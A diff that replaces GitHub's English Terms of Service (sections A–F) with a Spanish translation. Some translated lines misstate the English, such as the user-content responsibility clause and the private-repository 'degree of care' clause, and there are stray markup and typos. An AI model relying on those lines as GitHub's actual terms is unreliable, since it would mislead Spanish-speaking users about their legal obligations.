+| [F. Copyright & Política DMCA](#f-copyright-infringement-and-dmca-policy)   | Esta sección explica la forma en la que GitHub responderá si crees que alguien está infringiendo tus derechos de autor en GitHub.                                                                                                                  |
+| [G. Notificación de propiedad intelectual](#g-intellectual-property-notice) | Describe los derechos de GitHub en el sitio web y el servicio.                                                                                                                                                                                     |
+| [H. Términos de la API](#h-api-terms)                                       | Estas son las reglas para usar las API de GitHub, ya sea que estés usando la API para el desarrollo o la recopilación de datos.                                                                                                                    |
+| [I. Términos de producto adicionales](#i-github-additional-product-terms)   | Tenemos algunas reglas específicas para las características y productos de GitHub.                                                                                                                                                                 |
+| [J. Vista previa Beta](#j-beta-previews)                                    | Estos son algunos de los términos adicionales que se aplican a las características de GitHub que continúan en desarrollo.                                                                                                                          |
+| [K. Pago](#k-payment)                                                       | Eres responsable del pago. Somos responsables de facturarte con exactitud.                                                                                                                                                                         |
+| [L. Cancelación y terminación](#l-cancellation-and-termination)             | Puedes cancelar este acuerdo y cerrar tu cuenta en cualquier momento.                                                                                                                                                                              |
+| [M. Comunicaciones con GitHub](#m-communications-with-github)               | Sólo utilizamos el correo electrónico y otros medios electrónicos para estar en contacto con nuestros usuarios. No ofrecemos soporte telefónico.                                                                                                   |
+| [N. Exención de garantías](#n-disclaimer-of-warranties)                     | Proporcionamos nuestro servicio tal y como es y no hacemos promesas ni garantías sobre este servicio. **Lee esta sección cuidadosamente; deberías entender qué esperar.**                                                                          |
+| [O. Limitación de responsabilidad](#o-limitation-of-liability)              | No seremos responsables de daños o pérdidas derivadas de tu uso o incapacidad para usar el servicio o de cualquier otra forma que surja en virtud de este acuerdo. **Lee esta sección cuidadosamente; esto limita nuestras obligaciones contigo.** |
+| [P. Liberación e indemnización](#p-release-and-indemnification)             | Eres completamente responsable de tu uso del servicio.                                                                                                                                                                                             |
+| [Q. Cambios a estos Términos de Servicio](#q-changes-to-these-terms)        | Podemos modificar este acuerdo, pero te avisaremos con 30 días de antelación de cambios materiales.                                                                                                                                                |
+| [R. Varios](#r-miscellaneous)                                               | Consulta esta sección para obtener detalles legales, incluyendo nuestra elección de la ley.                                                                                                                                                        |
 
-## The GitHub Terms of Service
-Effective date: November 16, 2020
+## Términos de servicio de GitHub
+Fecha de entrada en vigencia: 16 de noviembre de 2020
 
 
-## A. Definitions
-**Short version:** *We use these basic terms throughout the agreement, and they have specific meanings. You should know what we mean when we use each of the terms. There's not going to be a test on it, but it's still useful information.*
+## A. Definiciones
+**Versión resumida:** *Utilizamos estos términos básicos a lo largo del acuerdo y tienen significados específicos. Es necesario que comprendas el significado de cada uno de nuestros términos. No habrá una evaluación sobre ello, pero es información útil.*
 
-1. An "Account" represents your legal relationship with GitHub. A “User Account” represents an individual User’s authorization to log in to and use the Service and serves as a User’s identity on GitHub. “Organizations” are shared workspaces that may be associated with a single entity or with one or more Users where multiple Users can collaborate across many projects at once. A User Account can be a member of any number of Organizations.
-2. The “Agreement” refers, collectively, to all the terms, conditions, notices contained or referenced in this document (the “Terms of Service” or the "Terms") and all other operating rules, policies (including the GitHub Privacy Statement, available at [github.com/site/privacy](https://github.com/site/privacy)) and procedures that we may publish from time to time on the Website. Most of our site policies are available at [docs.github.com/categories/site-policy](/categories/site-policy).
-3. "Beta Previews" mean software, services, or features identified as alpha, beta, preview, early access, or evaluation, or words or phrases with similar meanings.
-4. “Content” refers to content featured or displayed through the Website, including without limitation code, text, data, articles, images, photographs, graphics, software, applications, packages, designs, features, and other materials that are available on the Website or otherwise available through the Service. "Content" also includes Services. “User-Generated Content” is Content, written or otherwise, created or uploaded by our Users. "Your Content" is Content that you create or own.
-5. “GitHub,” “We,” and “Us” refer to GitHub, Inc., as well as our affiliates, directors, subsidiaries, contractors, licensors, officers, agents, and employees.
-6. The “Service” refers to the applications, software, products, and services provided by GitHub, including any Beta Previews.
-7. “The User,” “You,” and “Your” refer to the individual person, company, or organization that has visited or is using the Website or Service; that accesses or uses any part of the Account; or that directs the use of the Account in the performance of its functions. A User must be at least 13 years of age. Special terms may apply for business or government Accounts (See [Section B(5): Additional Terms](#5-additional-terms)).
-8. The “Website” refers to GitHub’s website located at [github.com](https://github.com/), and all content, services, and products provided by GitHub at or through the Website. It also refers to GitHub-owned subdomains of github.com, such as [education.github.com](https://education.github.com/) and [pages.github.com](https://pages.github.com/). These Terms also govern GitHub’s conference websites, such as [githubuniverse.com](https://githubuniverse.com/), and product websites, such as [atom.io](https://atom.io/). Occasionally, websites owned by GitHub may provide different or additional terms of service. If those additional terms conflict with this Agreement, the more specific terms apply to the relevant page or service.
+1. Una "Cuenta" representa tu relación legal con GitHub. Una "Cuenta de Usuario" representa la autorización individual del Usuario para iniciar sesión y utilizar el Servicio y sirve como identidad del Usuario en GitHub. “Organización” se refiere a un espacio de trabajo compartido que se puede asociar con una única entidad o con uno o más Usuarios donde múltiples Usuarios pueden colaborar en muchos proyectos a la vez. Una Cuenta de Usuario puede ser miembro de cualquier número de organizaciones.
+2. El "Acuerdo" se refiere, colectivamente, a todos los términos, condiciones, avisos contenidos o a los que se hace referencia en el presente documento (los "Términos de Servicio" o los "Términos") y todas las demás reglas de funcionamiento, políticas (incluyendo la Declaración de Privacidad de GitHub, disponible en [github.com/site/privacy](https://github.com/site/privacy)) y procedimientos que podemos publicar de vez en cuando en el Sitio Web. La mayoría de nuestras políticas de sitio están disponibles en [docs.github.com/categories/site-policy](/categories/site-policy).
+3. "Vistas Previas Beta" se refiere al software, los servicios o las características identificadas como alfa, beta, vista previa, acceso temprano o evaluación o a las palabras o frases con significados similares.
+4. "Contenido" se refiere al contenido presentado o mostrado a través del sitio web, incluyendo, sin limitación al código, texto, datos, artículos, imágenes, fotografías, gráficos, software, aplicaciones, paquetes, diseños, características y otros materiales disponibles en el Sitio Web o disponibles de otra forma a través del Servicio. "Contenido" también incluye Servicios. “Contenido generado por el usuario” es Contenido, escrito o no, creado o cargado por nuestros Usuarios. "Tu Contenido" es Contenido que creas o posees.
+5. “GitHub” y “Nosotros” se refieren a GitHub, Inc., así como a nuestros afiliados, directores, subsidiarios, contratistas, licenciadores, oficiales, agentes y empleados.
+6. El “Servicio” se refiere a las aplicaciones, software, productos y servicios proporcionados por GitHub, incluyendo cualquier Vista Previa Beta.
+7. “El Usuario”, “Tú” y “tu” se refieren a la persona, empresa u organización que ha visitado o está utilizando el Sitio Web o Servicio; que ingresa o utiliza cualquier parte de la Cuenta; o que dirije el uso de la Cuenta en el desempeño de sus funciones. Un usuario debe tener al menos 13 años de edad. Las condiciones especiales pueden aplicarse para cuentas empresariales o gubernamentales (véase [Section B(5): Términos Adicionales](#5-additional-terms)).
+8. El "Sitio Web" se refiere al sitio web de GitHub ubicado en [github. om](https://github.com/) y todos los contenidos, servicios y productos proporcionados por GitHub en o a través del sitio web. También se refiere a subdominios propiedad de GitHub de github.com, tales como [education.github.com](https://education.github.com/) y [pages.github.com](https://pages.github.com/). Estos Términos también rigen los sitios web de la conferencia de GitHub, como [githubuniverse.com](https://githubuniverse.com/) y sitios web de productos, como [atom.io](https://atom.io/). Ocasionalmente, los sitios web propiedad de GitHub pueden proporcionar condiciones de servicio diferentes o adicionales. Si estos términos adicionales entran en conflicto con este Contrato, los términos más específicos se aplican a la página o servicio correspondiente.
 
-## B. Account Terms
-**Short version:** *User Accounts and Organizations have different administrative controls; a human must create your Account; you must be 13 or over; you must provide a valid email address; and you may not have more than one free Account. You alone are responsible for your Account and anything that happens while you are signed in to or using your Account. You are responsible for keeping your Account secure.*
+## B. Términos de la cuenta
+**Versión resumida:** *Las Cuentas de Usuario y las Organizaciones tienen diferentes controles administrativos; una persona debe crear tu cuenta; debes tener 13 años o más; debes proporcionar una dirección de correo electrónico válida; y no es posible tener más de una cuenta gratuita. Eres el único responsable de tu Cuenta y de todo lo que ocurra mientras estas conectado o usando tu Cuenta. Eres responsable de mantener tu cuenta segura.*
 
-### 1. Account Controls
-- Users. Subject to these Terms, you retain ultimate administrative control over your User Account and the Content within it.
+### 1. Controles de la cuenta
+- Usuarios. Sujeto a estos términos, conserva el control administrativo definitivo sobre tu cuenta de usuario y el Contenido dentro de ella.
 
-- Organizations. The "owner" of an Organization that was created under these Terms has ultimate administrative control over that Organization and the Content within it. Within the Service, an owner can manage User access to the Organization’s data and projects. An Organization may have multiple owners, but there must be at least one User Account designated as an owner of an Organization. If you are the owner of an Organization under these Terms, we consider you responsible for the actions that are performed on or through that Organization.
+- Organizaciones. El "propietario" de una Organización que fue creada bajo estos Términos tiene el control administrativo final sobre esa Organización y el Contenido dentro de ella. Dentro del Servicio, un propietario puede administrar el acceso del Usuario a los datos y proyectos de la Organización. Una Organización puede tener múltiples propietarios, pero debe haber al menos una Cuenta de Usuario designada como propietario de una Organización. Si eres el propietario de una Organización bajo estos términos, te consideramos responsable de las acciones que se llevan a cabo en o a través de dicha Organización.
 
-### 2. Required Information
-You must provide a valid email address in order to complete the signup process. Any other information requested, such as your real name, is optional, unless you are accepting these terms on behalf of a legal entity (in which case we need more information about the legal entity) or if you opt for a [paid Account](#k-payment), in which case additional information will be necessary for billing purposes.
+### 2. Información requerida
+Debes proporcionar una dirección de correo electrónico válida para completar el proceso de registro. Cualquier otra información solicitada, como tu nombre real, es opcional, a menos que aceptes estos términos en nombre de una entidad legal (en cuyo caso necesitamos más información sobre la entidad legal) o si optas por una [Cuenta de pago](#k-payment), en cuyo caso será necesaria información adicional para fines de facturación.
 
-### 3. Account Requirements
-We have a few simple rules for User Accounts on GitHub's Service.
-- You must be a human to create an Account. Accounts registered by "bots" or other automated methods are not permitted. We do permit machine accounts:
-- A machine account is an Account set up by an individual human who accepts the Terms on behalf of the Account, provides a valid email address, and is responsible for its actions. A machine account is used exclusively for performing automated tasks. Multiple users may direct the actions of a machine account, but the owner of the Account is ultimately responsible for the machine's actions. You may maintain no more than one free machine account in addition to your free User Account.
-- One person or legal entity may maintain no more than one free Account (if you choose to control a machine account as well, that's fine, but it can only be used for running a machine).
-- You must be age 13 or older. While we are thrilled to see brilliant young coders get excited by learning to program, we must comply with United States law. GitHub does not target our Service to children under 13, and we do not permit any Users under 13 on our Service. If we learn of any User under the age of 13, we will [terminate that User’s Account immediately](#l-cancellation-and-termination). If you are a resident of a country outside the United States, your country’s minimum age may be older; in such a case, you are responsible for complying with your country’s laws.
-- Your login may only be used by one person — i.e., a single login may not be shared by multiple people. A paid Organization may only provide access to as many User Accounts as your subscription allows.
-- You may not use GitHub in violation of export control or sanctions laws of the United States or any other applicable jurisdiction. You may not use GitHub if you are or are working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions administered by a U.S. government agency.  GitHub may allow persons in certain sanctioned countries or territories to access certain GitHub services pursuant to U.S. government authorizations.  For more information, please see our [Export Controls policy](/articles/github-and-export-controls).  
+### 3. Requisitos de la cuenta
+Tenemos unas cuantas reglas simples para cuentas de usuario en el servicio de GitHub.
+- Debes ser una persona para crear una cuenta. No se permiten las cuentas que registren ni los "bots", ni otros métodos automatizados. Permitimos cuentas de máquina:
+- Una cuenta de máquina se refiere a una cuenta registrada por una persona que acepta los términos aplicables del servicio en nombre de la Cuenta, proporciona una dirección de correo electrónico válida y es responsable de sus acciones. Una Cuenta de máquina se usa exclusivamente para ejecutar tareas automatizadas. Múltiples usuarios pueden dirigir las acciones de una cuenta de máquina, pero el propietario de la cuenta es responsable en última instancia de las acciones de la máquina. No puedes mantener más de una cuenta de máquina gratuita además de tu cuenta de usuario gratuita.
+- Una persona o entidad legal no puede mantener más de una cuenta gratuita (si también decide controlar una cuenta de máquina, está bien, pero sólo se puede utilizar para ejecutar una máquina).
+- Debes ser mayor de 13 años. Si bien estamos encantados de ver a los geniales programadores jóvenes entusiasmados aprendiendo a programar, debemos cumplir con la ley de los Estados Unidos. GitHub no dirige nuestro Servicio a niños menores de 13 años y no permitimos ningún Usuario menor de 13 años en nuestro Servicio. Si tenemos conocimiento de algún usuario menor de 13 años, [daremos por terminada inmediatamente la cuenta del usuario](#l-cancellation-and-termination). Si estás ubicado en un país fuera de los Estados Unidos, la edad mínima de ese país puede ser mayor; en ese caso, el Cliente es responsable de cumplir con las leyes de ese país.
+- Su inicio de sesión sólo puede usarse por una persona — es decir, un único inicio de sesión no puede ser compartido por varias personas. Una Organización de pago sólo puede proporcionar acceso a tantas cuentas de usuario como su suscripción lo permita.
+- No puedes usar GitHub en violación de las leyes de control de exportación o sanciones de los Estados Unidos o de cualquier otra jurisdicción aplicable. No puedes utilizar GitHub si eres o estás trabajando en nombre de un [Nacional Especialmente Diseñado (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) o de una persona sujeta a prohibiciones de bloqueo de partes o denegadas similares que administre una agencia gubernamental de los EE.UU.  GitHub puede permitir que las  personas en ciertos países o territorios sancionados accedan a ciertos servicios de GitHub de conformidad con las autorizaciones del gobierno de los EE.UU.  Para obtener más información, consulta nuestra[Política de Controles de Exportación](/articles/github-and-export-controls).
 
-### 4. User Account Security
-You are responsible for keeping your Account secure while you use our Service. We offer tools such as two-factor authentication to help you maintain your Account's security, but the content of your Account and its security are up to you.
-- You are responsible for all content posted and activity that occurs under your Account (even when content is posted by others who have Accounts under your Account).
-- You are responsible for maintaining the security of your Account and password. GitHub cannot and will not be liable for any loss or damage from your failure to comply with this security obligation.
-- You will promptly [notify GitHub](https://support.github.com/contact?tags=docs-policy) if you become aware of any unauthorized use of, or access to, our Service through your Account, including any unauthorized use of your password or Account.
+### 4. Seguridad de la cuenta de usuario
+Eres responsable de mantener tu Cuenta segura mientras utilizas nuestro Servicio. Ofrecemos herramientas como autenticación de dos factores para ayudarte a mantener la seguridad de tu cuenta pero el contenido de tu Cuenta y su seguridad depende de ti.
+- Eres responsable de todo el contenido publicado y la actividad que se produzca bajo tu Cuenta (incluso cuando el contenido sea publicado por otros que tienen Cuentas bajo tu Cuenta).
+- Eres responsable de mantener la seguridad de tu cuenta y contraseña. GitHub no será responsable de ninguna pérdida o daño que surja del incumplimiento de esta obligación de seguridad.
+- Debes notificar inmediatamente [a GitHub](https://support.github.com/contact?tags=docs-policy) si tienes conocimiento de cualquier uso no autorizado o acceso a nuestro servicio a través de tu cuenta, incluyendo cualquier uso no autorizado de tu contraseña o cuenta.
 
-### 5. Additional Terms
-In some situations, third parties' terms may apply to your use of GitHub. For example, you may be a member of an organization on GitHub with its own terms or license agreements; you may download an application that integrates with GitHub; or you may use GitHub to authenticate to another service. Please be aware that while these Terms are our full agreement with you, other parties' terms govern their relationships with you.
+### 5. Términos adicionales
+En algunas situaciones, pueden aplicarse términos de terceros a tu uso de GitHub. Por ejemplo, puedes ser miembro de una Organización en GitHub con tus propios términos o acuerdos de licencia; puedes descargar una aplicación que se integre con GitHub; o puedes usar el Servicio para autenticarte a otro servicio. Ten en cuenta que aunque estos Términos son nuestro acuerdo total contigo, los términos de otras partes rigen sus relaciones contigo.
 
-If you are a government User or otherwise accessing or using any GitHub Service in a government capacity, this [Government Amendment to GitHub Terms of Service](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) applies to you, and you agree to its provisions.
+Si eres un usuario del gobierno o de otro modo accedes o utilizas cualquier servicio de GitHub en una capacidad gubernamental, esta [Enmienda del Gobierno a los Términos de Servicio de GitHub](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) aplican para ti y debes aceptar sus disposiciones.
 
-If you have signed up for GitHub Enterprise Cloud, the [Enterprise Cloud Addendum](/articles/github-enterprise-cloud-addendum/) applies to you, and you agree to its provisions.
+Si te registraste en la nube GitHub Enterprise, la [ Apéndice Enterprise Cloud ](/articles/github-enterprise-cloud-addendum/) aplica para ti y debes aceptar sus disposiciones.
 
-## C. Acceptable Use
-**Short version:** *GitHub hosts a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the service, you must follow the terms of this section, which include some restrictions on content you can post, conduct on the service, and other limitations. In short, be excellent to each other.*
+## C. Uso aceptable
+**Versión simplificada:** *GitHub presenta una amplia variedad de proyectos en equipo en todo el mundo y dicha cooperación solamente funciona cuando nuestros usuarios pueden trabajar juntos con buenas intenciones. Mientras usas el Servicio, debes cumplir con los términos de esta sección, que incluyen algunas restricciones sobre el contenido que puedes publicar, que realizar en el servicio y otras limitaciones. En síntesis, la idea es que sean geniales entre sí.*
 
-Your use of the Website and Service must not violate any applicable laws, including copyright or trademark laws, export control or sanctions laws, or other laws in your jurisdiction. You are responsible for making sure that your use of the Service is in compliance with laws and any applicable regulations.
+Tu uso del sitio web y del servicio no debe violar ninguna ley aplicable, incluyendo leyes de derechos de autor o de marcas, leyes de control de exportación o sanciones, u otras leyes de su jurisdicción. Eres responsable de asegurarte que tu uso del Servicio cumpla con las leyes y cualquier normativa aplicable.
 
-You agree that you will not under any circumstances violate our [Acceptable Use Policies](/articles/github-acceptable-use-policies) or [Community Guidelines](/articles/github-community-guidelines).
+Aceptas que en ningún caso violarás nuestras [Políticas de uso aceptable](/articles/github-acceptable-use-policies) o [Directrices de la comunidad](/articles/github-community-guidelines).
 
-## D. User-Generated Content
-**Short version:** *You own content you create, but you allow us certain rights to it, so that we can display and share the content you post. You still have control over your content, and responsibility for it, and the rights you grant us are limited to those we need to provide the service. We have the right to remove content or close Accounts if we need to.*
+## D. Contenido generado por el usuario
+/**Versión resumida+*:** *Eres propietario del contenido que creas, pero nos permitirás ciertos derechos para que podamos mostrar y compartir el contenido que publiques. Continúas teniendo el control sobre tu contenido y responsabilidad por el mismo y los derechos que nos concedes están limitados a aquellos que necesitamos para proporcionar el servicio. Tenemos derecho a eliminar el contenido o cerrar cuentas si lo necesitamos.*
 
-### 1. Responsibility for User-Generated Content
-You may create or upload User-Generated Content while using the Service. You are solely responsible for the content of, and for any harm resulting from, any User-Generated Content that you post, upload, link to or otherwise make available via the Service, regardless of the form of that Content. We are not responsible for any public display or misuse of your User-Generated Content.
+### 1. Responsabilidad para el Contenido generado por el usuario
+Puedes crear o cargar Contenido generado por el Usuario mientras usas el Servicio. Eres el único responsable del contenido y por cualquier daño que resulte de cualquier Contenido generado por el Usuario que publiques, cargues, enlaces o que de otra forma esté disponible a través del Servicio, independientemente de la forma de dicho Contenido. No eres responsable de ninguna visualización pública o uso indebido del Contenido generado por el Usuario.
 
-### 2. GitHub May Remove Content
-We have the right to refuse or remove any User-Generated Content that, in our sole discretion, violates any laws or [GitHub terms or policies](/github/site-policy). User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
+### 2. GitHub puede eliminar contenido
+Tenemos el derecho de rechazar o eliminar cualquier contenido generado por el usuario que, a nuestro exclusivo criterio, viole alguna ley o [términos o políticas de GitHub](/github/site-policy). El contenido generado por el usuario que se muestra en GitHub Móvil puede estar sujeto a los términos adicionales de las tiendas de aplicaciones móviles.
 
-### 3. Ownership of Content, Right to Post, and License Grants
-You retain ownership of and responsibility for Your Content. If you're posting anything you did not create yourself or do not own the rights to, you agree that you are responsible for any Content you post; that you will only submit Content that you have the right to post; and that you will fully comply with any third party licenses relating to Content you post.
+### 3. Propiedad del Contenido, Derecho a publicar y Otorgamientos de licencia
+Conservas la propiedad y la responsabilidad de tu contenido. Si estás publicando algo que no hayas creado tu mismo o de lo cual no posees los derechos, aceptas que eres responsable de cualquier Contenido que publiques; que sólo enviarás contenido que tengas derecho a publicar; y que cumplirás plenamente con cualquier licencia de terceros relacionada con el Contenido que publiques.
 
-Because you retain ownership of and responsibility for Your Content, we need you to grant us — and other GitHub Users — certain legal permissions, listed in Sections D.4 — D.7. These license grants apply to Your Content. If you upload Content that already comes with a license granting GitHub the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in Sections D.4 — D.7. The licenses you grant to us will end when you remove Your Content from our servers, unless other Users have forked it.
+Ya que conservas la propiedad y la responsabilidad de tu contenido, necesitamos que nos concedas — y a otros usuarios de GitHub — ciertos permisos legales, listados en las Secciones D. — D.7. Estas licencias se aplican a Tu Contenido. Si cargas Contenido que ya viene con una licencia que le otorga a GitHub los permisos que necesita para ejecutar el Servicio, no se requiere ninguna licencia adicional. Debes comprender que no recibirás ningún pago por ninguno de los derechos otorgados en las Secciones D.4 — D.7. Las licencias que nos concedes terminarán cuando retires Tu Contenido de nuestros servidores, a menos que otros Usuarios lo hayan bifurcado.
 
-### 4. License Grant to Us
-We need the legal right to do things like host Your Content, publish it, and share it. You grant us and our legal successors the right to store, archive, parse, and display Your Content, and make incidental copies, as necessary to provide the Service, including improving the Service over time. This license includes the right to do things like copy it to our database and make backups; show it to you and other users; parse it into a search index or otherwise analyze it on our servers; share it with other users; and perform it, in case Your Content is something like music or video.
+### 4. Licencia otorgada
+Necesitamos el derecho legal de hacer cosas como alojar Tu Contenido, publicarlo y compartirlo. Nos otorgas a nosotros y a nuestros sucesores legales el derecho a almacenar, archivar, analizar y mostrar tu contenido, y hacer copias incidentales, según sea necesario para proporcionar el servicio, incluyendo la mejora del servicio con el paso del tiempo. Esta licencia incluye el derecho a hacer cosas como copiarlo en nuestra base de datos y hacer copias de seguridad; mostrártelo y a otros usuarios; analizarlo en un índice de búsqueda o analizarlo de cualquier otra manera en nuestros servidores; compartirlo con otros usuarios; y reproducirlo, en caso de que tu contenido sea algo así como música o video.
 
-This license does not grant GitHub the right to sell Your Content. It also does not grant GitHub the right to otherwise distribute or use Your Content outside of our provision of the Service, except that as part of the right to archive Your Content, GitHub may permit our partners to store and archive Your Content in public repositories in connection with the [GitHub Arctic Code Vault and GitHub Archive Program](https://archiveprogram.github.com/).
+Esta licencia no le otorga a GitHub el derecho a vender tu contenido. Tampoco le otorga a GitHub el derecho a distribuir o usar tu contenido fuera de nuestra prestación del servicio, excepto que como parte del derecho a archivar tu contenido, GitHub pueda permitir que nuestros socios almacenen y archiven tu contenido en repositorios públicos en conexión con el [GitHub Arctic Code Vault y el programa de archivado de GitHub](https://archiveprogram.github.com/).
 
-### 5. License Grant to Other Users
-Any User-Generated Content you post publicly, including issues, comments, and contributions to other Users' repositories, may be viewed by others. By setting your repositories to be viewed publicly, you agree to allow others to view and "fork" your repositories (this means that others may make their own copies of Content from your repositories in repositories they control).
+### 5. Otorgamiento de la licencia a otros Usuarios
+Cualquier contenido generado por el usuario que postees públicamente, incluyendo temas, comentarios y contribuciones a los repositorios de otros usuarios, puede ser visto por otros. Al configurar tus repositorios para ser vistos públicamente, aceptas permitir a otros ver y "bifurcar" tus repositorios (esto significa que otros pueden hacer sus propias copias de Contenido de tus repositorios en los repositorios que controlan).
 
-If you set your pages and repositories to be viewed publicly, you grant each User of GitHub a nonexclusive, worldwide license to use, display, and perform Your Content through the GitHub Service and to reproduce Your Content solely on GitHub as permitted through GitHub's functionality (for example, through forking). You may grant further rights if you [adopt a license](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). If you are uploading Content you did not create or own, you are responsible for ensuring that the Content you upload is licensed under terms that grant these permissions to other GitHub Users.
+Si configuras tus páginas y repositorios para ser vistos públicamente, estás otorgando a cada usuario de GitHub una licencia no exclusiva a nivel mundial para usar, mostrar, y reproducir Tu Contenido a través del Servicio de GitHub y para reproducir Tu Contenido únicamente en GitHub según lo permitido a través de la funcionalidad de GitHub (por ejemplo, a través de bifurcación). Puedes otorgar derechos adicionales si [adoptas una licencia](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Si estás cargando Contenido que no creaste ni posees, eres responsable de asegurar que el Contenido del Cliente que carga cuente con licencia conforme a los términos que otorgan estos permisos a los Usuarios externos.
 
-### 6. Contributions Under Repository License
-Whenever you add Content to a repository containing notice of a license, you license that Content under the same terms, and you agree that you have the right to license that Content under those terms. If you have a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede.
+### 6. Contribuciones conforme a la Licencia del repositorio
+Cada vez que agregas contenido a un repositorio que contiene un aviso de una licencia, tienes la licencia de ese contenido bajo los mismos términos, y aceptas que tienes el derecho de licenciar dicho contenido conforme a esos términos. Si tienes un acuerdo por separado para licenciar dicho contenido bajo diferentes términos, como un acuerdo de licencia de colaborador, ese acuerdo prevalecerá.
 
-Isn't this just how it works already? Yep. This is widely accepted as the norm in the open-source community; it's commonly referred to by the shorthand "inbound=outbound". We're just making it explicit.
+¿No es así justo como funciona ahora? Sí. Esto se acepta ampliamente como la norma en la comunidad de código abierto; se conoce comúnmente por el abreviado "inbound=outbound". Lo estamos haciendo explícito.
 
-### 7. Moral Rights
-You retain all moral rights to Your Content that you upload, publish, or submit to any part of the Service, including the rights of integrity and attribution. However, you waive these rights and agree not to assert them against us, to enable us to reasonably exercise the rights granted in Section D.4, but not otherwise.
+### 7. Derechos morales
+Conservas todos los derechos morales sobre Tu Contenido que cargas, publicas o envías a cualquier parte del Servicio, incluyendo los derechos de integridad y atribución. Sin embargo, renuncias a estos derechos y aceptas no ejercerlos contra nosotros para ejercer razonablemente los derechos otorgados en la Sección D.4, pero no de otra manera.
 
-To the extent this agreement is not enforceable by applicable law, you grant GitHub the rights we need to use Your Content without attribution and to make reasonable adaptations of Your Content as necessary to render the Website and provide the Service.
+En la medida en que este acuerdo no sea exigible por la legislación aplicable, concedes a GitHub los derechos que necesitamos para usar Tu Contenido sin atribución y para hacer adaptaciones razonables de Tu Contenido según sea necesario para prestar el Sitio Web y el Servicio.
 
-## E. Private Repositories
-**Short version:** *We treat the content of private repositories as confidential, and we only access it as described in our Privacy Statement—for security purposes, to assist the repository owner with a support matter, to maintain the integrity of the Service, to comply with our legal obligations, if we have reason to believe the contents are in violation of the law, or with your consent.*
+## E. Repositorios privados
+**Resumen:** *Tratamos el contenido de los repositorios privados como confidencial y sólo accedemos a este tal y como se describe en nuestra Declaración de Privacidad—con fines de seguridad—para ayudar al propietario del repositorio con un asunto de soporte, para mantener la integridad del servicio, cumplir con nuestras obligaciones legales, si tenemos motivos para creer que el contenido viola la ley o con tu consentimiento.*
 
-### 1. Control of Private Repositories
-Some Accounts may have private repositories, which allow the User to control access to Content.
+### 1. Control de repositorios privados
+Algunas cuentas pueden tener repositorios privados, que permiten al Usuario controlar el acceso al Contenido.
 
-### 2. Confidentiality of Private Repositories
-GitHub considers the contents of private repositories to be confidential to you. GitHub will protect the contents of private repositories from unauthorized use, access, or disclosure in the same manner that we would use to protect our own confidential information of a similar nature and in no event with less than a reasonable degree of care.
+### 2. Control de repositorios privados
+GitHub considera que el contenido de los repositorios privados es confidencial para ti. GitHub protegerá el contenido de los repositorios privados del uso no autorizado, el acceso, o divulgación de la misma manera que utilizaríamos para proteger nuestra propia información confidencial de naturaleza similar y, en ningún caso, con un grado de atención más razonable.
 
-### 3. Access
-GitHub personnel may only access the content of your private repositories in the situations described in our [Privacy Statement](/github/site-policy/github-privacy-statement#repository-contents).
+### 3. Acceso
+El personal de GitHub solo puede ingresar al contenido de tus repositorios privados en las situaciones descritas en nuestra [Declaración de Privacidad](/github/site-policy/github-privacy-statement#repository-contents).
 
-You may choose to enable additional access to your private repositories. For example:
-- You may enable various GitHub services or features that require additional rights to Your Content in private repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat your private repository Content as confidential. If those services or features require rights in addition to those we need to provide the GitHub Service, we will provide an explanation of those rights.
+Puedes decidir habilitar acceso adicional a tus repositorios privados. Por ejemplo:
+- Puedes habilitar diversos servicios o funciones de GitHub que requieren derechos adicionales sobre Tu Contenido en los repositorios privados. Estos derechos pueden variar dependiendo del servicio o función, pero GitHub continuará tratando su contenido de repositorio privado como confidencial. Si estos servicios o características requieren derechos además de aquellos que necesitamos para proporcionar el servicio de GitHub, le daremos una explicación sobre esos derechos.
 
-Additionally, we may be [compelled by law](/github/site-policy/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. 
+Además, podemos estar [obligados por ley](/github/site-policy/github-privacy-statement#for-legal-disclosure) a divulgar el contenido de tus repositorios privados.
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub proporcionará un aviso con respecto a nuestro acceso al contenido del repositorio privado, a excepción de [ divulgación legal](/github/site-policy/github-privacy-statement#for-legal-disclosure), para cumplir con nuestras obligaciones legales o cuando se limite a los requisitos de la ley, para el escaneo automatizado o en respuesta a una amenaza de seguridad u otro riesgo para la seguridad.
 
-## F. Copyright Infringement and DMCA Policy
-If you believe that content on our website violates your copyright, please contact us in accordance with our [Digital Millennium Copyright Act Policy](/articles/dmca-takedown-policy/). If you are a copyright owner and you believe that content on GitHub violates your rights, please contact us via [our convenient DMCA form](https://github.com/contact/dmca) or by emailing copyright@github.com. There may be legal consequences for sending a false or frivolous takedown notice. Before sending a takedown request, you must consider legal uses such as fair use and licensed uses.
+## F. Violación de la propiedad intelectual y la política de DMCA
+Si crees que el contenido de nuestro sitio web viola tus derechos de autor, por favor contáctanos de acuerdo con nuestra [Política sobre la Ley de Derechos de Autor Digital del Milenio](/articles/dmca-takedown-policy/). Si eres propietario de derechos de autor y consideras que el contenido en GitHub viola tus derechos, por favor contáctanos a través de [nuestro sencillo formulario DMCA](https://github.com/contact/dmca) o enviando un correo electrónico a copyright@github.com. Puede haber consecuencias legales por enviar un aviso de sumisión falso o poco serio. Antes de enviar una solicitud de sumisión, debes considerar usos legales tales como uso justo y usos autorizados.
 
-We will terminate the Accounts of [repeat infringers](/articles/dmca-takedown-policy/#e-repeated-infringement) of this policy.
+Cancelaremos las Cuentas de [infractores insistentes](/articles/dmca-takedown-policy/#e-repeated-infringement) de esta política.
 
-## G. Intellectual Property Notice
